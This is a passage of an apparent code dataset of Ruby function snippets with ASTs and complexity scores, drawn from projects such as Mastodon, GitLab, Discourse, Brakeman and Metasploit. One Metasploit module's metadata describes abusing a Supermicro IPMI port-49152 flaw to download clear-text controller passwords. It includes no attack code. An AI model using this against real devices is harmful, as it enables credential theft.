=~ /_(url|path)\\z/\n        return false\n      elsif opt.method == :url_from\n        return false\n      end\n    elsif request_value? opt\n      return Match.new(immediate, opt)\n    elsif node_type? opt, :or\n      return (include_user_input?(opt.lhs) or include_user_input?(opt.rhs))\n    end\n\n    if tracker.options[:check_arguments] and call? opt\n      include_user_input? opt.first_arg, false  #I'm doubting if this is really necessary...\n    else\n      false\n    end\n  end","complexity_score":71.9,"ast_json":"{\"type\":\"def\",\"children\":[\"include_user_input?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt\"]},{\"type\":\"optarg\",\"children\":[\"immediate\",{\"type\":\"sym\",\"children\":[\"immediate\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"debug\",{\"type\":\"str\",\"children\":[\"Checking if call includes user input\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"array?\",{\"type\":\"lvar\",\"children\":[\"opt\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ignore_redirect_to_model\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model_instance?\",{\"type\":\"lvar\",\"children\":[\"opt\"]}]},{\"type\":\"send\",\"children\":[null,\"decorated_model?\",{\"type\":\"lvar\",\"children\":[\"opt\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"has_immediate_model?\",{\"type\":\"lvar\",\"children\":[\"opt\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call?\",{\"type\":\"lvar\",\"children\":[\"opt\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"method\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"_path\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Match\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"immediate\"]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call?\",{\"type\":\"lvar\",\"children\":[\"opt\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_value?\",{\"type\":\"lvar\",\"children\":[\"opt\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Match\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"immediate\"]},{\"type\":\"lvar\",\"children\":[\"opt\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"method\"]},\"==\",{\"type\":\"sym\",\"children\":[\"url_for\"]}]},{\"type\":\"send\",\"children\":[null,\"include_user_input?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"first_arg\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Match\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"immediate\"]},{\"type\":\"lvar\",\"children\":[\"opt\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"method\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"_(url|path)\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"method\"]},\"==\",{\"type\":\"sym\",\"children\":[\"url_from\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_value?\",{\"type\":\"lvar\",\"children\":[\"opt\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Match\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"immediate\"]},{\"type\":\"lvar\",\"children\":[\"opt\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node_type?\",{\"type\":\"lvar\",\"children\":[\"opt\"]},{\"type\":\"sym\",\"children\":[\"or\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"include_user_input?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"lhs\"]}]},{\"type\":\"send\",\"children\":[null,\"include_user_input?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"rhs\"]}]}]}]}]},null]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"check_arguments\"]}]},{\"type\":\"send\",\"children\":[null,\"call?\",{\"type\":\"lvar\",\"children\":[\"opt\"]}]}]},{\"type\":\"send\",\"children\":[null,\"include_user_input?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"first_arg\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"38ef0750-3ac2-4d61-a585-7c8d348d2ab1"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/activity.rb","start_line":30,"raw_source":"def klass\n      case @json['type']\n      when 'Create'\n        ActivityPub::Activity::Create\n      when 'Announce'\n        ActivityPub::Activity::Announce\n      when 'Delete'\n        ActivityPub::Activity::Delete\n      when 'Follow'\n        ActivityPub::Activity::Follow\n      when 'Like'\n        ActivityPub::Activity::Like\n      when 'Block'\n        ActivityPub::Activity::Block\n      when 'Update'\n        ActivityPub::Activity::Update\n      when 'Undo'\n        ActivityPub::Activity::Undo\n      when 'Accept'\n        ActivityPub::Activity::Accept\n      when 'Reject'\n        ActivityPub::Activity::Reject\n      when 'Flag'\n        ActivityPub::Activity::Flag\n      when 'Add'\n        ActivityPub::Activity::Add\n      when 'Remove'\n        ActivityPub::Activity::Remove\n      when 'Move'\n        ActivityPub::Activity::Move\n      when 'QuoteRequest'\n        ActivityPub::Activity::QuoteRequest\n      end\n    end","complexity_score":18.5,"ast_json":"{\"type\":\"def\",\"children\":[\"klass\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Create\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"Activity\"]},\"Create\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Announce\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"Activity\"]},\"Announce\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Delete\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"Activity\"]},\"Delete\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Follow\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"Activity\"]},\"Follow\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Like\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"Activity\"]},\"Like\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Block\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"Activity\"]},\"Block\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Update\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"Activity\"]},\"Update\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Undo\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"Activity\"]},\"Undo\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"Activity\"]},\"Accept\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Reject\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"Activity\"]},\"Reject\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Flag\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"Activity\"]},\"Flag\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Add\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"Activity\"]},\"Add\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Remove\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"Activity\"]},\"Remove\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Move\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"Activity\"]},\"Move\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"QuoteRequest\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"Activity\"]},\"QuoteRequest\"]}]},null]}]}","id":"63a51742-f288-407d-aaaa-d97fd3a13455"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/smb/smb_uninit_cred.rb","start_line":69,"raw_source":"def rport\n    @smb_port || datastore['RPORT']\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"rport\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@smb_port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]}]}","id":"a18c4737-7c3e-4997-a1bd-cf082bbd28be"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/controllers/discourse_ai/admin/ai_personas_controller.rb","start_line":10,"raw_source":"def index\n        ai_personas =\n          AiPersona\n            .ordered\n            .includes(:user, :uploads)\n            .map { |persona| LocalizedAiPersonaSerializer.new(persona, root: false) }\n\n        tools =\n          DiscourseAi::Personas::Persona.all_available_tools.map do |tool|\n            AiToolSerializer.new(tool, root: false)\n          end\n\n        AiTool\n          .where(enabled: true)\n          .each do |tool|\n            tools << {\n              id: \"custom-#{tool.id}\",\n              name:\n                I18n.t(\n                  \"discourse_ai.tools.custom_name\",\n                  name: tool.name.capitalize,\n                  tool_name: tool.tool_name,\n                ),\n            }\n          end\n\n        llms = DiscourseAi::Configuration::LlmEnumerator.values_for_serialization\n\n        render json: {\n                 ai_personas: ai_personas,\n                 meta: {\n                   tools: tools,\n                   llms: llms,\n                   settings: {\n                     rag_images_enabled: SiteSetting.ai_rag_images_enabled,\n                   },\n                 },\n               }\n      end","complexity_score":27.8,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ai_personas\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiPersona\"]},\"ordered\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"uploads\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"persona\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LocalizedAiPersonaSerializer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"persona\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tools\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Personas\"]},\"Persona\"]},\"all_available_tools\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tool\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiToolSerializer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"tool\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiTool\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tool\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tools\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"custom-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool\"]},\"id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"discourse_ai.tools.custom_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool\"]},\"name\"]},\"capitalize\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tool_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool\"]},\"tool_name\"]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"llms\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Configuration\"]},\"LlmEnumerator\"]},\"values_for_serialization\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ai_personas\"]},{\"type\":\"lvar\",\"children\":[\"ai_personas\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"meta\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tools\"]},{\"type\":\"lvar\",\"children\":[\"tools\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"llms\"]},{\"type\":\"lvar\",\"children\":[\"llms\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"settings\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rag_images_enabled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"ai_rag_images_enabled\"]}]}]}]}]}]}]}]}]}]}]}]}","id":"e1ae3283-a244-4b55-853d-85ce761941f2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/ci/partitionable.rb","start_line":40,"raw_source":"def self.registered_models\n      Gitlab::Database::Partitioning\n        .registered_models\n        .select { |model| model < Ci::ApplicationRecord && model < Ci::Partitionable }\n    end","complexity_score":6.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"registered_models\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"Partitioning\"]},\"registered_models\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"ApplicationRecord\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Partitionable\"]}]}]}]}]}","id":"c0578360-b159-45a1-ab1e-b9dc8bbb37cd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/framework.rb","start_line":106,"raw_source":"def encoders\n    return modules.encoders\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"encoders\",{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"modules\"]},\"encoders\"]}]}]}","id":"e6feeb80-4eb6-47bc-b5ce-7a20a69e0f44"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/variable_test.rb","start_line":51,"raw_source":"def test_simple_with_whitespaces\n    assert_template_result(\"  worked  \", \"  {{ test }}  \", { \"test\" => \"worked\" })\n    assert_template_result(\"  worked wonderfully  \", \"  {{ test }}  \", { \"test\" => \"worked wonderfully\" })\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_simple_with_whitespaces\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"  worked  \"]},{\"type\":\"str\",\"children\":[\"  {{ test }}  \"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"str\",\"children\":[\"worked\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"  worked wonderfully  \"]},{\"type\":\"str\",\"children\":[\"  {{ test }}  \"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"str\",\"children\":[\"worked wonderfully\"]}]}]}]}]}]}","id":"8ad792b8-9c6c-47eb-99b2-19e9db0307d6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/shared.rb","start_line":97,"raw_source":"def log_base_data\n        log = { importer: 'Import/Export' }\n        log.merge!(Gitlab::ImportExport::LogUtil.exportable_to_log_payload(@exportable))\n        log[:import_jid] = @exportable&.import_state&.jid if exportable_type == 'Project'\n        log\n      end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"log_base_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"log\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"importer\"]},{\"type\":\"str\",\"children\":[\"Import/Export\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ImportExport\"]},\"LogUtil\"]},\"exportable_to_log_payload\",{\"type\":\"ivar\",\"children\":[\"@exportable\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exportable_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"Project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"import_jid\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@exportable\"]},\"import_state\"]},\"jid\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"log\"]}]}]}","id":"45dea002-574a-4205-a1ad-063bdd748637"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_metrics.rb","start_line":136,"raw_source":"def add(value)\n    @data += value\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@data\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"8fe21f9c-c824-4f7a-baab-f02b10a22346"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Supermicro Onboard IPMI Port 49152 Sensitive File Exposure',\n        'Description' => %q{\n          This module abuses a file exposure vulnerability accessible through the web interface\n          on port 49152 of Supermicro Onboard IPMI controllers.  The vulnerability allows an attacker\n          to obtain detailed device information and download data files containing the clear-text\n          usernames and passwords for the controller. In May of 2014, at least 30,000 unique IPs\n          were exposed to the internet with this vulnerability.\n        },\n        'Author' => [\n          'Zach Wikholm <kestrel[at]trylinux.us>', # Discovery and analysis\n          'John Matherly <jmath[at]shodan.io>',    # Internet-wide scan\n          'Dan Farmer <zen[at]fish2.com>',         # Additional investigation\n          'hdm'                                    # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'URL', 'http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/'],\n          [ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py']\n        ],\n        'DisclosureDate' => '2014-06-19',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(49152)\n      ]\n    )\n  end","complexity_score":5.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Supermicro Onboard IPMI Port 49152 Sensitive File Exposure\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module abuses a file exposure vulnerability accessible through the web interface\\n\"]},{\"type\":\"str\",\"children\":[\"          on port 49152 of Supermicro Onboard IPMI controllers.  The vulnerability allows an attacker\\n\"]},{\"type\":\"str\",\"children\":[\"          to obtain detailed device information and download data files containing the clear-text\\n\"]},{\"type\":\"str\",\"children\":[\"          usernames and passwords for the controller. In May of 2014, at least 30,000 unique IPs\\n\"]},{\"type\":\"str\",\"children\":[\"          were exposed to the internet with this vulnerability.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Zach Wikholm <kestrel[at]trylinux.us>\"]},{\"type\":\"str\",\"children\":[\"John Matherly <jmath[at]shodan.io>\"]},{\"type\":\"str\",\"children\":[\"Dan Farmer <zen[at]fish2.com>\"]},{\"type\":\"str\",\"children\":[\"hdm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/zenfish/ipmi/blob/master/dump_SM.py\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-06-19\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[49152]}]}]}]}]}]}","id":"13d4e9bd-4d81-4723-9ea4-b2c87505a8f1"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/admin/metrics/measure/instance_follows_measure.rb","start_line":30,"raw_source":"def sql_array\n    [sql_query_string, { start_at: @start_at, end_at: @end_at, domain: params[:domain] }]\n  